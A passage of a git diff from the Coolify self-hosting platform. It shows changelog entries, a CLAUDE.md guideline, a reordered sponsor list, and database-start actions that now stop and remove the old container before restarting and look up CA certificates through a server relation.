file path in logto.yaml +- Update logo file path in logto.yaml +- Remove commented out code for docker container removal +- Add isAnyDeploymentInprogress function to check if any deployments are in progress +- Add ApplicationDeploymentJob and pint.json +- Update version numbers to 4.0.0-beta.298 +- Switch to database sessions from redis +- Update dependencies and remove unused code +- Update tailwindcss and vue versions in package.json +- Update service template URL in constants.php +- Update sentinel version to 0.0.8 +- Update chart styling and loading text +- Update sentinel version to 0.0.9 +- Update Spanish translation for failed authentication messages +- Add portuguese traslation +- Add Turkish translations +- Add Vietnamese translate +- Add Treive logo to donations section +- Update README.md with latest release version badge +- Update latest release version badge in README.md +- Update version to 4.0.0-beta.299 +- Move server delete component to the bottom of the page +- Update version to 4.0.0-beta.301 +- Update version to 4.0.0-beta.302 +- Update version to 4.0.0-beta.303 +- Update version to 4.0.0-beta.305 +- Update version to 4.0.0-beta.306 +- Add log1x/laravel-webfonts package +- Update version to 4.0.0-beta.307 +- Refactor ServerStatusJob constructor formatting +- Update Monaco Editor for Docker Compose and Proxy Configuration +- More details +- Refactor shared.php helper functions +- Update Plausible docker compose template to Plausible 2.1.0 +- Update Plausible docker compose template to Plausible 2.1.0 +- Update livewire/livewire dependency to version 3.4.9 +- Refactor checkIfDomainIsAlreadyUsed function +- Update storage.blade.php view for livewire project service +- Update version to 4.0.0-beta.310 +- Update composer dependencies +- Add new logo for Latitude +- Bump version to 4.0.0-beta.311 +- Update version to 4.0.0-beta.315 +- Update version to 4.0.0-beta.316 +- Update bug report template +- Update repository form with simplified URL input field +- Update width of container in general.blade.php +- Update checkbox labels in general.blade.php +- Update general page of apps +- Handle JSON parsing errors in format_docker_command_output_to_json +- Update Traefik image version to v2.11 +- Update version to 4.0.0-beta.317 +- Update version to 4.0.0-beta.318 +- Update helper message with link to documentation +- Disable health check by default +- Remove commented out code for sending internal notification +- Update APP_BASE_URL to use SERVICE_FQDN_PLANE +- Update resource-limits.blade.php with improved input field helpers +- Update version numbers to 4.0.0-beta.319 +- Remove commented out code for docker image pruning +- Collect/create/update volumes in parseDockerComposeFile function +- Update version to 4.0.0-beta.320 +- Add pull_request image builds to GH actions +- Add comment explaining the purpose of disconnecting the network in cleanup_unused_network_from_coolify_proxy() +- Update formbricks template +- Update registration view to display a notice for first user that it will be an admin +- Update server form to use password input for IP Address/Domain field +- Update navbar to include service status check +- Update navbar and configuration to improve service status check functionality +- Update workflows to include PR build and merge manifest steps +- Update UpdateCoolifyJob timeout to 10 minutes +- Update UpdateCoolifyJob to dispatch CheckForUpdatesJob synchronously +- Update version to 4.0.0-beta.321 +- Update version to 4.0.0-beta.322 +- Update version to 4.0.0-beta.323 +- Update version to 4.0.0-beta.324 +- New compose parser with tests +- Update version to 1.3.4 in install.sh and 1.0.6 in upgrade.sh +- Update memory limit to 64MB in horizon configuration +- Update php packages +- Update axios npm dependency to version 1.7.5 +- Update Coolify version to 4.0.0-beta.324 and fix file paths in upgrade script +- Update Coolify version to 4.0.0-beta.324 +- Update Coolify version to 4.0.0-beta.325 +- Update Coolify version to 4.0.0-beta.326 +- Add cd command to change directory before removing .env file +- Update Coolify version to 4.0.0-beta.327 +- Update Coolify version to 4.0.0-beta.328 +- Update sponsor links in README.md +- Update version.json to versions.json in GitHub workflow +- Cleanup stucked resources and scheduled backups +- Update GitHub workflow to use versions.json instead of version.json +- Update GitHub workflow to use versions.json instead of version.json +- Update GitHub workflow to use versions.json instead of version.json +- Update GitHub workflow to use jq container for version extraction +- Update GitHub workflow to use jq container for version extraction +- Update UI for displaying no executions found in scheduled task list +- Update UI for displaying deployment status in deployment list +- Update UI for displaying deployment status in deployment list +- Ignore unnecessary files in production build workflow +- Update server form layout and settings +- Update Dockerfile with latest versions of PACK and NIXPACKS +- Update coolify-helper.yml to get version from versions.json +- Disable Ray by default +- Enable Ray by default and update Dockerfile with latest versions of PACK and NIXPACKS +- Update Ray configuration and Dockerfile +- Add middleware for updating environment variables by UUID in `api.php` routes +- Expose port 3000 in browserless.yaml template +- Update Ray configuration and Dockerfile +- Update coolify version to 4.0.0-beta.331 +- Update versions.json and sentry.php to 4.0.0-beta.332 +- Update version to 4.0.0-beta.332 +- Update DATABASE_URL in plunk.yaml to use plunk database +- Add coolify.managed=true label to Docker image builds +- Update docker image pruning command to exclude managed images +- Update docker cleanup schedule to run daily at midnight +- Update versions.json to version 1.0.1 +- Update coolify-helper.yml to include "next" branch in push trigger +- Set timeout for ServerCheckJob to 60 seconds +- Update appwrite.yaml to include OpenSSL key variable assignment +- Update version numbers to 4.0.0-beta.333 +- Copy .env file to .env-{DATE} if it exists +- Update .env file with new values +- Update server check job middleware to use server ID instead of UUID +- Add reminder to backup .env file before running install script again +- Copy .env file to backup location during installation script +- Add reminder to backup .env file during installation script +- Update permissions in pr-build.yml and version numbers +- Add minio/mc command to Dockerfile +- Remove itsgoingd/clockwork from require-dev in composer.json +- Update 'key' value of gitlab in Service.php to use environment variable +- Update release version to 4.0.0-beta.335 +- Update constants.ssh.mux_enabled in remoteProcess.php +- Update listeners and proxy settings in server form and new server components +- Remove unnecessary null check for proxy_type in generate_default_proxy_configuration +- Remove unnecessary SSH command execution time logging +- Update release version to 4.0.0-beta.336 +- Update coolify environment variable assignment with double quotes +- Update shared.php to fix issues with source and network variables +- Update terminal styling for better readability +- Update button text for container connection form +- Update Dockerfile and workflow for Coolify Realtime (v4) +- Remove unused entrypoint script and update volume mapping +- Update .env file and docker-compose configuration +- Update APP_NAME environment variable in docker-compose.prod.yml +- Update WebSocket URL in terminal.blade.php +- Update Dockerfile and workflow for Coolify Realtime (v4) +- Update Dockerfile and workflow for Coolify Realtime (v4) +- Update Dockerfile and workflow for Coolify Realtime (v4) +- Rename Command Center to Terminal in code and views +- Update branch restriction for push event in coolify-helper.yml +- Update terminal button text and layout in application heading view +- Refactor terminal component and select form layout +- Update coolify nightly version to 4.0.0-beta.335 +- Update helper version to 1.0.1 +- Fix syntax error in versions.json +- Update version numbers to 4.0.0-beta.337 +- Update Coolify installer and scripts to include a function for fetching programming jokes +- Update docker network connection command in ApplicationDeploymentJob.php +- Add validation to prevent selecting 'default' server or container in RunCommand.php +- Update versions.json to reflect latest version of realtime container +- Update soketi image to version 1.0.1 +- Nightly - Update soketi image to version 1.0.1 and versions.json to reflect latest version of realtime container +- Update version numbers to 4.0.0-beta.339 +- Update version numbers to 4.0.0-beta.340 +- Update version numbers to 4.0.0-beta.341 +- Update version numbers to 4.0.0-beta.342 +- Update remove-labels-and-assignees-on-close.yml +- Add SSH key for localhost in ProductionSeeder +- Update SSH key generation in install.sh script +- Update ProductionSeeder to call OauthSettingSeeder and PopulateSshKeysDirectorySeeder +- Update install.sh to support Asahi Linux +- Update install.sh version to 1.6 +- Remove unused middleware and uniqueId method in DockerCleanupJob +- Refactor DockerCleanupJob to remove unused middleware and uniqueId method +- Remove unused migration file for populating SSH keys and clearing mux directory +- Add modified files to the commit +- Refactor pre-commit hook to improve performance and readability +- Update CONTRIBUTING.md with troubleshooting note about database migrations +- Refactor pre-commit hook to improve performance and readability +- Update cleanup command to use Redis instead of queue +- Update Docker commands to start proxy +- Update version numbers to 4.0.0-beta.343 +- Update version numbers to 4.0.0-beta.344 +- Update version numbers to 4.0.0-beta.345 +- Update version numbers to 4.0.0-beta.346 +- Add autocomplete attribute to input fields +- Refactor API Tokens component to use isApiEnabled flag +- Update versions.json file +- Remove unused .env.development.example file +- Update API Tokens view to include link to Settings menu +- Update web.php to cast server port as integer +- Update backup deletion labels to use language files +- Update database startup heading title +- Update database startup heading title +- Custom vite envs +- Update version numbers to 4.0.0-beta.348 +- Refactor code to improve SSH key handling and storage +- Update Mailpit logo to use SVG format +- Fix docs link in running state +- Update Coolify Realtime workflow to only trigger on the main branch +- Refactor instanceSettings() function to improve code readability +- Update Coolify Realtime image to version 1.0.2 +- Remove unnecessary code in DatabaseBackupJob.php +- Add "Not Usable" indicator for storage items +- Refactor instanceSettings() function and improve code readability +- Update version numbers to 4.0.0-beta.349 and 4.0.0-beta.350 +- Update version numbers to 4.0.0-beta.350 in configuration files +- Update command signature and description for cleanup application deployment queue +- Add missing import for Attribute class in ApplicationDeploymentQueue model +- Update modal input in server form to prevent closing on outside click +- Remove unnecessary command from SshMultiplexingHelper +- Remove commented out code for uploading to S3 in DatabaseBackupJob +- Update soketi service image to version 1.0.3 +- Update version to 4.0.0-beta.352 +- Refactor DatabaseBackupJob to handle missing team +- Update version to 4.0.0-beta.353 +- Update service application view +- Update version to 4.0.0-beta.354 +- Remove debug statement in Service model +- Remove commented code in Server model +- Fix application deployment queue filter logic +- Refactor modal-confirmation component +- Update it-tools service template and port configuration +- Update homarr service template and remove unnecessary code +- Update homarr service template and remove unnecessary code +- Update version to 4.0.0-beta.355 +- Update version to 4.0.0-beta.356 +- Remove commented code for shared variable type validation +- Update MariaDB image to version 11 and fix service environment variable orders +- Update anythingllm.yaml volumes configuration +- Update proxy configuration paths for Caddy and Nginx in dev +- Update password form submission in modal-confirmation component +- Update project query to order by name in uppercase +- Update project query to order by name in lowercase +- Update select.blade.php with improved search functionality +- Add Nitropage service template and logo +- Bump coolify-helper version to 1.0.2 +- Refactor loadServices2 method and remove unused code +- Update version to 4.0.0-beta.357 +- Update service names and volumes in windmill.yaml +- Update version to 4.0.0-beta.358 +- Ignore .ignition.json files in Docker and Git +- Add mattermost logo as svg +- Add mattermost svg to compose +- Update version to 4.0.0-beta.357 +- Fix form submission and keydown event handling in modal-confirmation.blade.php +- Update version numbers to 4.0.0-beta.359 in configuration files +- Disable adding default environment variables in shared.php +- Update laravel/horizon dependency to version 5.29.1 +- Update service extra fields to use dynamic keys +- Update livewire/livewire dependency to version 3.4.9 +- Add transmission template desc +- Update transmission docs link +- Update version numbers to 4.0.0-beta.360 in configuration files +- Update AWS environment variable names in unsend.yaml +- Update AWS environment variable names in unsend.yaml +- Update livewire/livewire dependency to version 3.4.9 +- Update version to 4.0.0-beta.361 +- Update Docker build and push actions to v6 +- Update Docker build and push actions to v6 +- Update Docker build and push actions to v6 +- Sync coolify-helper to dockerhub as well +- Push realtime to dockerhub +- Sync coolify-realtime to dockerhub +- Rename workflows +- Rename development to staging build +- Sync coolify-testing-host to dockerhbu +- Sync coolify prod image to dockerhub as well +- Update Docker version to 26.0 +- Update project resource index page +- Update project service configuration view +- Edit www helper +- Update dep +- Regenerate openapi spec +- Composer dep bump +- Dep bump +- Upgrade cloudflared and minio +- Remove comments and improve DB column naming +- Remove unused seeder +- Remove unused waitlist stuff +- Remove wired.php (not used anymore) +- Remove unused resale license job +- Remove commented out internal notification +- Remove more waitlist stuff +- Remove commented out notification +- Remove more waitlist stuff +- Remove unused code +- Fix typo +- Remove comment out code +- Some reordering +- Remove resale license reference +- Remove functions from shared.php +- Public settings for email notification +- Remove waitlist redirect +- Remove log +- Use new notification trait +- Remove unused route +- Remove unused email component +- Comment status changes as it is disabled for now +- Bump dep +- Reorder navbar +- Rename topicID to threadId like in the telegram API response +- Update PHP configuration to set memory limit using environment variable +- Regenerate API spec, removing notification fields +- Remove ray debugging +- Version ++ +- Improve Penpot healthchecks +- Switch up readonly lables to make more sense +- Remove unused computed fields +- Use the new job dispatch +- Disable volume data cloning for now +- Improve code +- Lowcoder service naming +- Use new functions +- Improve error styling +- Css +- More css as it still looks like shit +- Final css touches +- Ajust time to 50s (tests done) +- Remove debug log, finally found it +- Remove more logging +- Remove limit on commit message +- Remove dayjs +- Remove unused code and fix import +- *(dep)* Bump nixpacks version +- *(dep)* Version++ +- *(dep)* Bump helper version to 1.0.5 +- *(docker)* Add blank line for readability in Dockerfile +- *(versions)* Update coolify versions to v4.0.0-beta.388 +- *(versions)* Update coolify versions to v4.0.0-beta.389 and add helper version retrieval script +- *(versions)* Update coolify versions to v4.0.0-beta.389 +- *(core)* EnvironmentVariable Model now extends BaseModel to remove duplicated code +- *(versions)* Update coolify versions to v4.0.0-beta.3909 +- *(version)* Bump Coolify version to 4.0.0-beta.391 +- *(config)* Increase default PHP memory limit to 256M +- Add openapi response +- *(workflows)* Make naming more clear and remove unused code +- Bump Coolify version to 4.0.0-beta.392/393 +- *(ci)* Update changelog generation workflow to target 'next' branch +- *(ci)* Update changelog generation workflow to target main branch +- Rollback Coolify version to 4.0.0-beta.392 +- Bump Coolify version to 4.0.0-beta.393 +- Bump Coolify version to 4.0.0-beta.394 +- Bump Coolify version to 4.0.0-beta.395 +- Bump Coolify version to 4.0.0-beta.396 +- *(services)* Update zipline to use new Database env var. (#5210) +- *(service)* Upgrade authentik service +- *(service)* Remove unused env from zipline +- Bump helper and realtime version +- *(migration)* Remove unused columns +- *(ssl)* Improve code in ssl helper +- *(migration)* Ssl cert and key should not be nullable +- *(ssl)* Rename CA cert to `coolify-ca.crt` because of conflicts +- Rename ca crt folder to ssl +- *(ui)* Improve valid until handling +- Improve code quality suggested by code rabbit +- *(supabase)* Update Supabase service template and Postgres image version +- *(versions)* Update version numbers for coolify and nightly +- *(versions)* Update version numbers for coolify and nightly +- *(service)* Update minecraft service ENVs +- *(service)* Add more vars to infisical.yaml (#5418) +- *(service)* Add google variables to plausible.yaml (#5429) +- *(service)* Update authentik.yaml versions (#5373) +- *(core)* Remove redocs +- *(versions)* Update coolify version numbers to 4.0.0-beta.403 and 4.0.0-beta.404 +- *(service)* Remove unused code in Bugsink service +- *(versions)* Update version to 404 +- *(versions)* Bump version to 403 (#5520) +- *(versions)* Bump version to 404 +- *(versions)* Bump version to 406 +- *(versions)* Bump version to 407 +- *(versions)* Bump version to 406 +- *(versions)* Bump version to 407 and 408 for coolify and nightly +- *(versions)* Bump version to 408 for coolify and 409 for nightly +- *(versions)* Update nightly version to 4.0.0-beta.410 +- *(pre-commit)* Remove OpenAPI generation command from pre-commit hook +- *(versions)* Update realtime version to 1.0.7 and bump dependencies in package.json +- *(versions)* Bump coolify version to 4.0.0-beta.409 in configuration files +- *(versions)* Bump coolify version to 4.0.0-beta.410 and update nightly version to 4.0.0-beta.411 in configuration files +- *(templates)* Update plausible and clickhouse images to latest versions and remove mail service +- *(versions)* Update coolify version to 4.0.0-beta.411 and nightly version to 4.0.0-beta.412 in configuration files +- *(versions)* Update coolify version to 4.0.0-beta.412 and nightly version to 4.0.0-beta.413 in configuration files +- *(versions)* Update coolify version to 4.0.0-beta.413 and nightly version to 4.0.0-beta.414 in configuration files +- *(versions)* Update realtime version to 1.0.8 in versions.json +- *(versions)* Update realtime version to 1.0.8 in versions.json +- *(docker)* Update soketi image version to 1.0.8 in production configuration files +- *(versions)* Update coolify version to 4.0.0-beta.414 and nightly version to 4.0.0-beta.415 in configuration files +- *(workflows)* Adjust workflow for announcement +- *(versions)* Update coolify version to 4.0.0-beta.416 and nightly version to 4.0.0-beta.417 in configuration files; fix links in deployment view +- *(seeder)* Update git branch from 'main' to 'v4.x' for multiple examples in ApplicationSeeder +- *(versions)* Update coolify version to 4.0.0-beta.417 and nightly version to 4.0.0-beta.418 +- *(versions)* Update coolify version to 4.0.0-beta.418 +- *(versions)* Update coolify version to 4.0.0-beta.419 and nightly version to 4.0.0-beta.420 in configuration files +- *(service)* Rename hoarder server to karakeep (#5607) +- *(service)* Update Supabase services (#5708) +- *(service)* Remove unused documenso env +- *(service)* Formatting and cleanup of ryot +- *(docs)* Remove changelog and add it to gitignore +- *(versions)* Update version to 4.0.0-beta.419 +- *(service)* Diun formatting +- *(docs)* Update CHANGELOG.md +- *(service)* Switch convex vars +- *(service)* Pgbackweb formatting and naming update +- *(service)* Remove typesense default API key +- *(service)* Format yamtrack healthcheck +- *(core)* Remove unused function +- *(ui)* Remove unused stopEvent code +- *(service)* Remove unused env +- *(tests)* Update test environment database name and add new feature test for converting container environment variables to array +- *(service)* Update Immich service (#5886) +- *(service)* Remove unused logo +- *(api)* Update API docs +- *(dependencies)* Update package versions in composer.json and composer.lock for improved compatibility and performance +- *(dependencies)* Update package versions in package.json and package-lock.json for improved stability and features +- *(version)* Update coolify-realtime to version 1.0.9 in docker-compose and versions files +- *(version)* Update coolify version to 4.0.0-beta.420 and nightly version to 4.0.0-beta.421 +- *(service)* Changedetection remove unused code +- *(service)* Update Evolution API image to the official one (#6031) +- *(versions)* Bump coolify versions to v4.0.0-beta.420 and v4.0.0-beta.421 +- *(dependencies)* Update composer dependencies to latest versions including resend-laravel to ^0.19.0 and aws-sdk-php to 3.347.0 +- *(versions)* Update Coolify version to 4.0.0-beta.420.1 and add new services (karakeep, miniflux, pingvinshare) to service templates +- *(versions)* Update Coolify versions to 4.0.0-beta.420.2 and 4.0.0-beta.420.3 in multiple files +- *(versions)* Bump coolify and nightly versions to 4.0.0-beta.420.3 and 4.0.0-beta.420.4 respectively +- *(versions)* Update coolify and nightly versions to 4.0.0-beta.420.4 and 4.0.0-beta.420.5 respectively +- *(service)* Update Nitropage template (#6181) +- *(versions)* Update all version +- *(bump)* Update composer deps +- *(version)* Bump Coolify version to 4.0.0-beta.420.6 +- *(service)* Improve matrix service +- *(service)* Format runner service +- *(service)* Improve sequin +- *(service)* Add `NOT_SECURED` env to Postiz (#6243) +- *(service)* Improve evolution-api environment variables (#6283) +- *(service)* Update Langfuse template to v3 (#6301) +- *(core)* Remove unused argument +- *(deletion)* Rename isDeleteOperation to deleteConnectedNetworks +- *(docker)* Remove unused arguments on StopService +- *(service)* Homebox formatting +- Clarify usage of custom redis configuration (#6321) +- *(changelogs)* Add .gitignore for changelogs directory and remove outdated changelog files for May, June, and July 2025 +- *(service)* Change affine images (#6366) +- Elasticsearch URL, fromatting and add category +- Update service-templates json files +- *(docs)* Remove AGENTS.md file; enhance CLAUDE.md with detailed form authorization patterns and service configuration examples +- *(cleanup)* Remove unused GitLab view files for change, new, and show pages +- *(workflows)* Add backlog directory to build triggers for production and staging workflows +- *(config)* Disable auto_commit in backlog configuration to prevent automatic commits +- *(versions)* Update coolify version to 4.0.0-beta.420.8 and nightly version to 4.0.0-beta.420.9 in versions.json and constants.php +- *(docker)* Update soketi image version to 1.0.10 in production and Windows configurations +- *(core)* Update version +- *(core)* Update version +- *(versions)* Update coolify version to 4.0.0-beta.421 and nightly version to 4.0.0-beta.422 +- Update version +- Update development node version +- Update coolify version to 4.0.0-beta.423 and nightly version to 4.0.0-beta.424 +- Update coolify version to 4.0.0-beta.424 and nightly version to 4.0.0-beta.425 +- Update coolify version to 4.0.0-beta.425 and nightly version to 4.0.0-beta.426 +- Update coolify version to 4.0.0-beta.426 and nightly version to 4.0.0-beta.427 -## [2.0.2] - 2022-02-10 +### ◀️ Revert -### 🐛 Bug Fixes - -- Secrets join -- ENV variables set differently - -## [1.0.0] - 2021-03-24 +- Show usage everytime +- Revert: revert +- Wip +- Variable parsing +- Hc return code check +- Instancesettings +- Pull policy +- Advanced dropdown +- Databasebackup +- Remove Cloudflare async tag attributes +- Encrypting mount and fs_path +- *(parser)* Enhance FQDN generation logic for services and applications diff --git a/CLAUDE.md b/CLAUDE.md index 6c594955c..34149d28a 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -160,6 +160,7 @@ ### Database Patterns - Use database transactions for critical operations - Leverage query scopes for reusable queries - Apply indexes for performance-critical queries +- **CRITICAL**: When adding new database columns, ALWAYS update the model's `$fillable` array to allow mass assignment ### Security Best Practices - **Authentication**: Multi-provider auth via Laravel Fortify & Sanctum diff --git a/README.md b/README.md index 1c88f4c54..9be4130c2 100644 --- a/README.md +++ b/README.md @@ -53,40 +53,40 @@ # Donations ## Big Sponsors -* [CubePath](https://cubepath.com/?ref=coolify.io) - Dedicated Servers & Instant Deploy -* [GlueOps](https://www.glueops.dev?ref=coolify.io) - DevOps automation and infrastructure management +* [23M](https://23m.com?ref=coolify.io) - Your experts for high-availability hosting solutions! * [Algora](https://algora.io?ref=coolify.io) - Open source contribution platform -* [Ubicloud](https://www.ubicloud.com?ref=coolify.io) - Open source cloud infrastructure platform -* [LiquidWeb](https://liquidweb.com?ref=coolify.io) - Premium managed hosting solutions -* [Convex](https://convex.link/coolify.io) - Open-source reactive database for web app developers -* [Arcjet](https://arcjet.com?ref=coolify.io) - Advanced web security and performance solutions -* [SaasyKit](https://saasykit.com?ref=coolify.io) - Complete SaaS starter kit for developers -* [SupaGuide](https://supa.guide?ref=coolify.io) - Your comprehensive guide to Supabase -* [Logto](https://logto.io?ref=coolify.io) - The better identity infrastructure for developers -* [Trieve](https://trieve.ai?ref=coolify.io) - AI-powered search and analytics -* [Supadata AI](https://supadata.ai/?ref=coolify.io) - Scrape YouTube, web, and files. Get AI-ready, clean data -* [Darweb](https://darweb.nl/?ref=coolify.io) - Design. Develop. Deliver. Specialized in 3D CPQ Solutions -* [Hetzner](http://htznr.li/CoolifyXHetzner) - Server, cloud, hosting, and data center solutions -* [COMIT](https://comit.international?ref=coolify.io) - New York Times award–winning contractor -* [Blacksmith](https://blacksmith.sh?ref=coolify.io) - Infrastructure automation platform -* [WZ-IT](https://wz-it.com/?ref=coolify.io) - German agency for customised cloud solutions -* [BC Direct](https://bc.direct?ref=coolify.io) - Your trusted technology consulting partner -* [Tigris](https://www.tigrisdata.com?ref=coolify.io) - Modern developer data platform -* [Hostinger](https://www.hostinger.com/vps/coolify-hosting?ref=coolify.io) - Web hosting and VPS solutions -* [QuantCDN](https://www.quantcdn.io?ref=coolify.io) - Enterprise-grade content delivery network -* [PFGLabs](https://pfglabs.com?ref=coolify.io) - Build Real Projects with Golang -* [JobsCollider](https://jobscollider.com/remote-jobs?ref=coolify.io) - 30,000+ remote jobs for developers -* [Juxtdigital](https://juxtdigital.com?ref=coolify.io) - Digital PR & AI Authority Building Agency -* [Cloudify.ro](https://cloudify.ro?ref=coolify.io) - Cloud hosting solutions -* [CodeRabbit](https://coderabbit.ai?ref=coolify.io) - Cut Code Review Time & Bugs in Half * [American Cloud](https://americancloud.com?ref=coolify.io) - US-based cloud infrastructure services -* [MassiveGrid](https://massivegrid.com?ref=coolify.io) - Enterprise cloud hosting solutions -* [Syntax.fm](https://syntax.fm?ref=coolify.io) - Podcast for web developers -* [Tolgee](https://tolgee.io?ref=coolify.io) - The open source localization platform +* [Arcjet](https://arcjet.com?ref=coolify.io) - Advanced web security and performance solutions +* [BC Direct](https://bc.direct?ref=coolify.io) - Your trusted technology consulting partner +* [Blacksmith](https://blacksmith.sh?ref=coolify.io) - Infrastructure automation platform +* [Brand.dev](https://brand.dev?ref=coolify.io) - API to personalize your product with logos, colors, and company info from any domain +* [ByteBase](https://www.bytebase.com?ref=coolify.io) - Database CI/CD and Security at Scale +* [CodeRabbit](https://coderabbit.ai?ref=coolify.io) - Cut Code Review Time & Bugs in Half +* [COMIT](https://comit.international?ref=coolify.io) - New York Times award–winning contractor * [CompAI](https://www.trycomp.ai?ref=coolify.io) - Open source compliance automation platform +* [Convex](https://convex.link/coolify.io) - Open-source reactive database for web app developers +* [CubePath](https://cubepath.com/?ref=coolify.io) - Dedicated Servers & Instant Deploy +* [Darweb](https://darweb.nl/?ref=coolify.io) - Design. Develop. Deliver. Specialized in 3D CPQ Solutions +* [Formbricks](https://formbricks.com?ref=coolify.io) - The open source feedback platform * [GoldenVM](https://billing.goldenvm.com?ref=coolify.io) - Premium virtual machine hosting solutions * [Gozunga](https://gozunga.com?ref=coolify.io) - Seriously Simple Cloud Infrastructure +* [Hetzner](http://htznr.li/CoolifyXHetzner) - Server, cloud, hosting, and data center solutions +* [Hostinger](https://www.hostinger.com/vps/coolify-hosting?ref=coolify.io) - Web hosting and VPS solutions +* [JobsCollider](https://jobscollider.com/remote-jobs?ref=coolify.io) - 30,000+ remote jobs for developers +* [Juxtdigital](https://juxtdigital.com?ref=coolify.io) - Digital PR & AI Authority Building Agency +* [LiquidWeb](https://liquidweb.com?ref=coolify.io) - Premium managed hosting solutions +* [Logto](https://logto.io?ref=coolify.io) - The better identity infrastructure for developers * [Macarne](https://macarne.com?ref=coolify.io) - Best IP Transit & Carrier Ethernet Solutions for Simplified Network Connectivity +* [Mobb](https://vibe.mobb.ai/?ref=coolify.io) - Secure Your AI-Generated Code to Unlock Dev Productivity +* [PFGLabs](https://pfglabs.com?ref=coolify.io) - Build Real Projects with Golang +* [Ramnode](https://ramnode.com/?ref=coolify.io) - High Performance Cloud VPS Hosting +* [SaasyKit](https://saasykit.com?ref=coolify.io) - Complete SaaS starter kit for developers +* [SupaGuide](https://supa.guide?ref=coolify.io) - Your comprehensive guide to Supabase +* [Supadata AI](https://supadata.ai/?ref=coolify.io) - Scrape YouTube, web, and files. Get AI-ready, clean data +* [Syntax.fm](https://syntax.fm?ref=coolify.io) - Podcast for web developers +* [Tigris](https://www.tigrisdata.com?ref=coolify.io) - Modern developer data platform +* [Tolgee](https://tolgee.io?ref=coolify.io) - The open source localization platform +* [Ubicloud](https://www.ubicloud.com?ref=coolify.io) - Open source cloud infrastructure platform ## Small Sponsors diff --git a/app/Actions/Database/StartClickhouse.php b/app/Actions/Database/StartClickhouse.php index f218fcabb..38f6d7bc8 100644 --- a/app/Actions/Database/StartClickhouse.php +++ b/app/Actions/Database/StartClickhouse.php @@ -105,6 +105,8 @@ public function handle(StandaloneClickhouse $database) $this->commands[] = "echo '{$readme}' > $this->configuration_dir/README.md"; $this->commands[] = "echo 'Pulling {$database->image} image.'"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml pull"; + $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true"; + $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; $this->commands[] = "echo 'Database started.'"; diff --git a/app/Actions/Database/StartDragonfly.php b/app/Actions/Database/StartDragonfly.php index 38ad99d2e..300221d24 100644 --- a/app/Actions/Database/StartDragonfly.php +++ b/app/Actions/Database/StartDragonfly.php @@ -55,11 +55,11 @@ public function handle(StandaloneDragonfly $database) $this->commands[] = "mkdir -p $this->configuration_dir/ssl"; $server = $this->database->destination->server; - $caCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); if (! $caCert) { $server->generateCaCertificate(); - $caCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); } if (! $caCert) { @@ -192,6 +192,8 @@ public function handle(StandaloneDragonfly $database) if ($this->database->enable_ssl) { $this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt"; } + $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true"; + $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; $this->commands[] = "echo 'Database started.'"; diff --git a/app/Actions/Database/StartKeydb.php b/app/Actions/Database/StartKeydb.php index 59bcd4123..3a2ceebb3 100644 --- a/app/Actions/Database/StartKeydb.php +++ b/app/Actions/Database/StartKeydb.php @@ -56,11 +56,11 @@ public function handle(StandaloneKeydb $database) $this->commands[] = "mkdir -p $this->configuration_dir/ssl"; $server = $this->database->destination->server; - $caCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); if (! $caCert) { $server->generateCaCertificate(); - $caCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); } if (! $caCert) { @@ -208,6 +208,8 @@ public function handle(StandaloneKeydb $database) if ($this->database->enable_ssl) { $this->commands[] = "chown -R 999:999 $this->configuration_dir/ssl/server.key $this->configuration_dir/ssl/server.crt"; } + $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true"; + $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; $this->commands[] = "echo 'Database started.'"; diff --git a/app/Actions/Database/StartMariadb.php b/app/Actions/Database/StartMariadb.php index 13dba4b43..8a936c8ae 100644 --- a/app/Actions/Database/StartMariadb.php +++ b/app/Actions/Database/StartMariadb.php @@ -57,11 +57,11 @@ public function handle(StandaloneMariadb $database) $this->commands[] = "mkdir -p $this->configuration_dir/ssl"; $server = $this->database->destination->server; - $caCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); if (! $caCert) { $server->generateCaCertificate(); - $caCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); } if (! $caCert) { @@ -209,6 +209,8 @@ public function handle(StandaloneMariadb $database) $this->commands[] = "echo '{$readme}' > $this->configuration_dir/README.md"; $this->commands[] = "echo 'Pulling {$database->image} image.'"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml pull"; + $this->commands[] = "docker stop --timeout=10 $container_name 2>/dev/null || true"; + $this->commands[] = "docker rm -f $container_name 2>/dev/null || true"; $this->commands[] = "docker compose -f $this->configuration_dir/docker-compose.yml up -d"; $this->commands[] = "echo 'Database started.'"; if ($this->database->enable_ssl) { diff --git a/app/Actions/Database/StartMongodb.php b/app/Actions/Database/StartMongodb.php index 870b5b7e5..19699d684 100644 --- a/app/Actions/Database/StartMongodb.php +++ b/app/Actions/Database/StartMongodb.php @@ -61,11 +61,11 @@ public function handle(StandaloneMongodb $database) $this->commands[] = "mkdir -p $this->configuration_dir/ssl"; $server = $this->database->destination->server; - $caCert = SslCertificate::where('server_id', $server->id)->where('is_ca_certificate', true)->first(); + $caCert = $server->sslCertificates()->where('is_ca_certificate', true)->first(); if (! $caCert) { $server->generateCaCertificate(); - $caCert = SslCertificate::where('server_id', 